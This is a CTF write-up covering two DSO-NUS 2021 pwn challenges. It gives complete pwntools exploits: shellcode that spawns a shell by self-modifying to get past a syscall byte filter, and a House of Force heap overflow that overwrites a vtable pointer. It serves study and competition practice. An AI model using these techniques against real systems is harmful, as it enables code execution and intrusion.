DSO-NUS CTF 2021
A local Singaporean CTF hosted by DSO National Laboratories and the National University of Singapore (NUS). I played this CTF with my regular teammate, @OceanKoh, under the name It’z Me. We managed to get 6th place, which I’m quite satisified with. Not bad for the first official CTF of 2021.
Writeups
Syscall Phobia (pwn)
Timmy has created a program to execute any x86_64 bytecode instructions! However, Timmy has an absolute detest for syscalls, and does not want anyone to insert syscalls into their instructions. This will make it a little secure… right?
Solution
We are provided with a 64-bit ELF executable:
$ file syscall-phobia
syscall-phobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=446d8daadfa7e20968f5c991223fc5b80b12aac0, stripped
As usual, I start by running the binary to get a general overview of what to expect:
$ ./syscall-phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here :D
Example: 554889e5c9c3
Enter assembly bytecode here! (No syscalls please, tenks):
AAAAAAAA
Executing your assembly code!
Segmentation fault
The challenge expects shellcode as input, which is then executed. However, as mentioned by the challenge description, the shellcode cannot contain syscall
instructions. I can confirm my initial analysis by reversing the main()
function in IDA:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[260]; // [rsp+0h] [rbp-110h] BYREF
int v5; // [rsp+104h] [rbp-Ch]
void *haystack; // [rsp+108h] [rbp-8h]
haystack = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("Enter your hexadecimal bytecode here and we will execute it for you!");
puts("We absolutely hate syscalls so please DO NOT enter syscall instructions here :D");
puts("Example: 554889e5c9c3\n");
puts("Enter assembly bytecode here! (No syscalls please, tenks): ");
fflush(stdout);
fgets(buf, 200, stdin);
buf[strcspn(buf, "\n")] = 0;
v5 = convert_bytecode(buf, haystack);
if ( memmem(haystack, v5, &syscall, 2uLL) || memmem(haystack, v5, &int_0x80, 2uLL) )
{
puts("Hey! I told you no syscalls! :(");
exit(1);
}
puts("Executing your assembly code!");
fflush(stdout);
qword_6020A0 = haystack;
(haystack)();
return 0LL;
}
As seen from above, the binary reads in our shellcode into buf
.
fgets(buf, 200, stdin);
The shellcode is then converted using the convert_bytecode()
function and stored in haystack
.
v5 = convert_bytecode(buf, haystack);
This is the important part: If syscall
or int 0x80
instructions are found in the shellcode, the binary immediately exits without executing our shellcode:
if ( memmem(haystack, v5, &syscall, 2uLL) || memmem(haystack, v5, &int_0x80, 2uLL) ) {
puts("Hey! I told you no syscalls! :(");
exit(1);
}
Thus, the objective is to somehow bypass this syscall
filter and let the binary execute our shellcode here:
puts("Executing your assembly code!");
(haystack)();
Initially, I thought of somehow not using syscall
instructions at all. However, a quick Google search showed me this:
Or even easier, start with
0e 05
… in memory, and useinc byte ptr syscall_location[rip]
to modify it to0f 05
…
As the opcode of syscall
is 0f 05
, the idea is to first write 0e 05
in our shellcode, and then increment the instruction using inc BYTE PTR [rip]
to make it 0f 05
:
fe 05 00 00 00 00 inc BYTE PTR [rip] // increment instruction below by 1
0e 05 ??? // becomes syscall when executed
Now that we have a way to use syscall
instructions, all that’s left to do is write shellcode to pop shell, which is trivial with pwntools
:
$ python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print disasm(asm(shellcraft.sh()))
0: 6a 68 push 0x68
2: 68 2f 2f 2f 73 push 0x732f2f2f
7: 68 2f 62 69 6e push 0x6e69622f
c: 89 e3 mov ebx, esp
e: 68 01 01 01 01 push 0x1010101
13: 81 34 24 72 69 01 01 xor DWORD PTR [esp], 0x1016972
1a: 31 c9 xor ecx, ecx
1c: 51 push ecx
1d: 6a 04 push 0x4
1f: 59 pop ecx
20: 01 e1 add ecx, esp
22: 51 push ecx
23: 89 e1 mov ecx, esp
25: 31 d2 xor edx, edx
27: 6a 0b push 0xb
29: 58 pop eax
2a: cd 80 int 0x80
We simply replace the last int 0x80
instruction with inc BYTE PTR [rip]
, and append 0e 05
to the end of our shellcode:
shellcode = asm(
"push 0x68;"
"movabs rax, 0x732f2f2f6e69622f;"
"push rax;"
"mov rdi, rsp;"
"push 0x1016972;"
"xor DWORD PTR [rsp], 0x1010101;"
"xor esi, esi;"
"push rsi;"
"push 0x8;"
"pop rsi;"
"add rsi, rsp;"
"push rsi;"
"mov rsi, rsp;"
"xor edx, edx;"
"push 0x3b;"
"pop rax;"
"inc BYTE PTR [rip];",
arch = 'amd64', os = 'linux'
)
a = ['0x{:02x}'.format(u8(a))[2:] for a in shellcode] # Converting shellcode to hex string
a += ["0e", "05", "90", "90", "90"] # add syscall + a few NOPs
payload = ''.join(a)
When the binary executes this shellcode, it pops a shell:
$ python solve.py
[*] '/mnt/c/Users/Brandon Chong/Downloads/writeup stuffs/Syscall Phobia/syscall-phobia'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/mnt/c/Users/Brandon Chong/Downloads/writeup stuffs/Syscall Phobia/syscall-phobia': pid 3632
[*] Paused (press any to continue)
0: 6a 68 push 0x68
2: 48 b8 2f 62 69 6e 2f movabs rax, 0x732f2f2f6e69622f
9: 2f 2f 73
c: 50 push rax
d: 48 89 e7 mov rdi, rsp
10: 68 72 69 01 01 push 0x1016972
15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101
1c: 31 f6 xor esi, esi
1e: 56 push rsi
1f: 6a 08 push 0x8
21: 5e pop rsi
22: 48 01 e6 add rsi, rsp
25: 56 push rsi
26: 48 89 e6 mov rsi, rsp
29: 31 d2 xor edx, edx
2b: 6a 3b push 0x3b
2d: 58 pop rax
2e: fe 05 00 00 00 00 inc BYTE PTR [rip+0x0] # 0x34
[*] Payload: 6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b58fe05000000000e05909090
[*] Payload length: 114
[*] Switching to interactive mode
Executing your assembly code!
$ ls
solve.py syscall-phobia syscall-phobia.i64
Full exploit code:
from pwn import *
import sys
exe = ELF("./syscall-phobia")
host = "ctf-85ib.balancedcompo.site"
port = 9998
def exploit(p):
shellcode = asm(
"push 0x68;"
"movabs rax, 0x732f2f2f6e69622f;"
"push rax;"
"mov rdi, rsp;"
"push 0x1016972;"
"xor DWORD PTR [rsp], 0x1010101;"
"xor esi, esi;"
"push rsi;"
"push 0x8;"
"pop rsi;"
"add rsi, rsp;"
"push rsi;"
"mov rsi, rsp;"
"xor edx, edx;"
"push 0x3b;"
"pop rax;"
"inc BYTE PTR [rip];",
arch = 'amd64', os = 'linux'
)
print(disasm(shellcode))
a = ['0x{:02x}'.format(u8(a))[2:] for a in shellcode] # Converting shellcode to hex string
a += ["0e", "05", "90", "90", "90"] # syscall + a few NOPs
payload = ''.join(a)
lg('Payload: ' + payload)
lg('Payload length: ' + str(len(payload)))
sla('Enter assembly bytecode here! (No syscalls please, tenks): ', payload)
p.interactive()
if __name__ == "__main__":
context.binary = exe
if sys.argv[-1] == "remote":
p = remote(host, port)
else:
p = process([exe.path])
pause()
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)
lg = lambda a : log.info(a)
exploit(p)
Task Tracker (pwn)
To identify the imposter, Red has programmed a task tracker to keep track of all tasks completed. However, one of the imposters have sabotaged some of the code to make it vulnerable. Can you leverage on the vulnerability to get the secret intel?
Initial Analysis
We are provided with a 64-bit ELF executable:
$ file tasktracker
tasktracker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=40ae7a4291500370ce2158854195477ecf9875b3, stripped
When the binary is executed, we are provided with a menu, which looks like a heap challenge:
$ ./tasktracker
Welcome to the dropship. There is one imposter among us
******************************************************************************
Secure TaskTracker! Better than Medbay Scan at identifying imposters!
******************************************************************************
1.Show list of tasks
2.Add a task
3.Change a task (That is what an imposter would do :o)
4.Activate Communications
5.Call Emergency Meeting
******************************************************************************
Your choice:
By analyzing the file in IDA, we will know what each of these options do. The decompilation of main()
is as shown below:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
void (**vtable)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
vtable = malloc(48LL);
*vtable = start_message;
vtable[1] = list_tasks;
vtable[2] = add;
vtable[3] = edit;
vtable[4] = comms;
vtable[5] = end;
(*vtable)();
while ( 1 )
{
print_banner();
read(0LL, buf, 8LL);
switch ( atoi(buf) )
{
case 1u:
vtable[1]();
break;
case 2u:
vtable[2]();
break;
case 3u:
vtable[3]();
break;
case 4u:
vtable[4]();
break;
case 5u:
vtable[5]();
exit(0LL);
return result;
default:
output("Invalid Option. Not sure if you have butter fingers, but you deserve to be voted out anyways.", buf);
break;
}
}
}
main()
simply prints out the starting banner and the menu, and proceeds to handle our input using a switch
. However, it is important to note that the functions to be called, such as list_tasks()
, are stored and referenced through a vtable
. This vtable
is stored on the heap, as seen by the malloc()
call:
vtable = malloc(48LL);
After looking through the decompiled code for each function, I realized only add()
and edit()
will be relevant to our exploit. list_tasks()
simply prints out the contents of the heap in this format:
Your choice: 1
Task Number: 0 Task Name : AAAAAAAA
Task Number: 1 Task Name : BBBBBBBB
end()
causes the program to exit immediately, while comms()
prints this banner:
Your choice: 4
-. .. -.-. .
- .-. -.-- --..--
.. -- .--. --- ... - . .-. .-.-.-
-... ..- -
..
-.-. .- -.
- . .-.. .-..
-.-- --- ..-
-- -.--
--. .-.. .. -... -.-.
...- . .-. ... .. --- -.
.. ...
..--- .-.-.- ..--- --... .-.-.-
The simplified code of add()
is as follows:
__int64 __fastcall add()
{
int i; // [rsp+4h] [rbp-1Ch]
int size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v10; // [rsp+18h] [rbp-8h]
if ( chunk_count > 49 )
{
output("All tasks have been tracked. Call the Emergency Meeting!", a2);
}
else
{
printf("Please enter the length of task name:");
read(0, buf, 8uLL);
size = atoi(buf);
if ( !size )
{
output("Are you an imposter?", buf);
goto end;
}
for ( i = 0; i <= 49; ++i )
{
if ( !heap_chunks[2 * i] )
{
heap_chunks[2 * i] = malloc(size);
printf("Please enter the name of task:");
*(heap_chunks[2 * i] + read(0, heap_chunks[2 * i], size)) = 0;
++chunk_count;
break;
}
}
}
end:
return 0;
}
The function first checks if chunk_count
, the number of allocated chunks, exceeds 49. If it does not, we are asked for a length, which will be the size of the newly allocated chunk:
printf("Please enter the length of task name:");
read(0, buf, 8uLL);
size = atoi(buf);
The function then looks for an unused index in heap_chunks
, and stores the pointer returned by malloc()
at that index. Next, we are asked for the “name of task”, which will be read and stored in the newly allocated heap chunk.
for ( i = 0; i <= 49; ++i )
{
if ( !heap_chunks[2 * i] )
{
heap_chunks[2 * i] = malloc(size);
printf("Please enter the name of task:");
*(heap_chunks[2 * i] + read(0, heap_chunks[2 * i], size)) = 0;
++chunk_count;
break;
}
}
From reversing add()
, we note that we are able to:
- Allocate a heap chunk of any size
- Allocate up to 50 chunks
Next, we take a look at the code of edit()
:
unsigned __int64 __fastcall edit(__int64 a1, __int64 a2)
{
int index; // [rsp+4h] [rbp-2Ch]
int size; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char buf_2[8]; // [rsp+20h] [rbp-10h] BYREF
if ( chunk_count )
{
printf("Please enter the index of the task you want to change:");
read(0, buf, 8uLL);
index = atoi(buf);
if ( heap_chunks[2 * index] )
{
printf("Enter the length of task name:");
read(0, buf_2, 8uLL);
size = atoi(buf_2);
printf("Enter the new task name:");
*(heap_chunks[2 * index] + read(0, heap_chunks[2 * index], size)) = 0;
}
else
{
output("That is what an imposter would say.", buf);
}
}
else
{
output("Are you doing your tasks?", a2);
}
return;
}
The function first checks if a chunk is allocated using chunk_count
. If so, it asks for the index of the chunk we wish to edit:
printf("Please enter the index of the task you want to change:");
read(0, buf, 8uLL);
index = atoi(buf);
The vulnerability lies in the following part of the code. The program checks if the index we entered is valid using heap_chunks
. Next, we are once again asked for a length, followed by new data we wish to write into the chunk.
if ( heap_chunks[2 * index] )
{
printf("Enter the length of task name:");
read(0, buf_2, 8uLL);
size = atoi(buf_2);
printf("Enter the new task name:");
*(heap_chunks[2 * index] + read(0, heap_chunks[2 * index], size)) = 0;
}
Notice how the function does not check if size
is smaller or equal to the actual size of the allocated chunk. This allows us to cause a heap overflow and overwrite other chunks or data on the heap.
Also, while I was halfway into solving the challenge, I also noticed there was a function to print the flag at 0x400D51
, which was very useful:
void __noreturn print_flag()
{
unsigned int f; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
f = fopen("flag.txt", 0LL);
read(f, buf, 0x40uLL);
printf("%s", buf);
exit(0LL);
}
Exploitation: House of Force
From reversing the binary, we know that we can:
- Overwrite any data on the heap using the heap overflow
- Allocate a heap chunk of any size
- Allocate up to 50 chunks
Using this, we will be able to write data to any address relative to the heap using the House of Force. I won’t explain the House of Force in detail, but you can refer to these explanations should you wish to understand better:
Usually, House of Force would require a heap address leak to gain an arbitrary write. However, in this challenge, we can simply write the address of print_flag()
into vtable
, which is stored on the heap. This does not require a heap address leak, as the address we want to overwrite (vtable
) is relative to the chunks allocated by us.
The exploitation process is as follows:
- Using the heap overflow, overwrite the
top_chunk
with0xffffffffffffffff
. This would allow us to allocate a chunk with an absurdly large size. - Allocate a chunk with a size of
offset
. As the address ofvtable
is less than the address of thetop_chunk
,offset
is calculated by:offset = -(top_chunk - target + chunk_size)
.chunk_size
refers to the size of the final chunk we will allocate. - Allocate a final chunk, this chunk will be allocated at the address of
target
. - Using
edit()
, overwrite the one of thevtable
pointers withprint_flag()
. - Call
print_flag()
normally using the menu options.
To overwrite the top_chunk
, we simply allocate a chunk of size 8 and use edit()
to overflow the top_chunk
.
# Overwrite top chunk size with 0xffffffffffffffff
payload = "A"*24 + p64(0xffffffffffffffff)
malloc(8, "A"*8)
edit(0, 64, payload)
We then calculate the offset
with the method mentioned above. The addresses of vtable
and top_chunk
can be obtained by analyzing the heap using gdb
. Note that their values will be different every run.
# Calculating the value of offset
target = 0x1802860 # Address of vtable
top_chunk = 0x18028f0
offset = top_chunk - target + 8
The chunk with size offset
is then allocated:
# Allocate absurdly large chunk, which will wrap around memory
malloc(-offset, p64(0x0))
The final chunk we allocate will be at the address of vtable
. This is the chunk we use to overwrite one of the vtable
pointers.
# Allocate chunk at vtable
malloc(8, p64(0xdeadbeef)
We edit the final chunk and overwrite the value of the first vtable
pointer, which is the function that is called when we select 1
on the menu.
# Overwrite first option in vtable with print_flag()
print_flag = 0x0000000000400D51
payload = "A"*56 + p64(print_flag)
edit(2, 100, payload)
Lastly, we select 1
, which causes the program to call print_flag()
:
# Calling print_flag()
sla('Your choice:', '1')
Running the exploit prints the flag successfully:
$ python solve.py
[*] '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker': pid 1782
[*] Paused (press any to continue)
[*] Switching to interactive mode
******************************************************************************
Secure TaskTracker! Better than Medbay Scan at identifying imposters!
******************************************************************************
1.Show list of tasks
2.Add a task
3.Change a task (That is what an imposter would do :o)
4.Activate Communications
5.Call Emergency Meeting
******************************************************************************
Your choice:[*] Process '/mnt/c/Users/brand/Downloads/Task Tracker/tasktracker' stopped with exit code 0 (pid 1782)
DSO-NUS{fake_flag}
Full exploit code:
from pwn import *
import sys
exe = ELF("./tasktracker")
host = "ctf-85ib.balancedcompo.site"
port = 9997
def malloc(size, data):
sla('Your choice:', '2')
sla('Please enter the length of task name:', str(size))
sla('Please enter the name of task:', data)
def edit(index, size, data):
sla('Your choice:', '3')
sla('Please enter the index of the task you want to change:', str(index))
sla('Enter the length of task name:', str(size))
sla('Enter the new task name:', data)
def exploit(p):
# Overwrite top chunk size with 0xffffffffffffffff
payload = "A"*24 + p64(0xffffffffffffffff)
malloc(8, "A"*8)
edit(0, 64, payload)
# Calculating the value of offset
target = 0x1802860
top_chunk = 0x18028f0
offset = top_chunk - target + 8
# Allocate absurdly large chunk, which will wrap around memory
malloc(-offset, p64(0x0))
# Allocate chunk at vtable
malloc(8, p64(0xdeadbeef))
# Overwrite first option in vtable with print_flag()
print_flag = 0x0000000000400D51
payload = "A"*56 + p64(print_flag)
edit(2, 100, payload)
# Calling print_flag()
sla('Your choice:', '1')
p.interactive()
if __name__ == "__main__":
context.binary = exe
if sys.argv[-1] == "remote":
p = remote(host, port)
else:
p = process([exe.path])
pause()
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)
lg = lambda a : log.info(a)
exploit(p)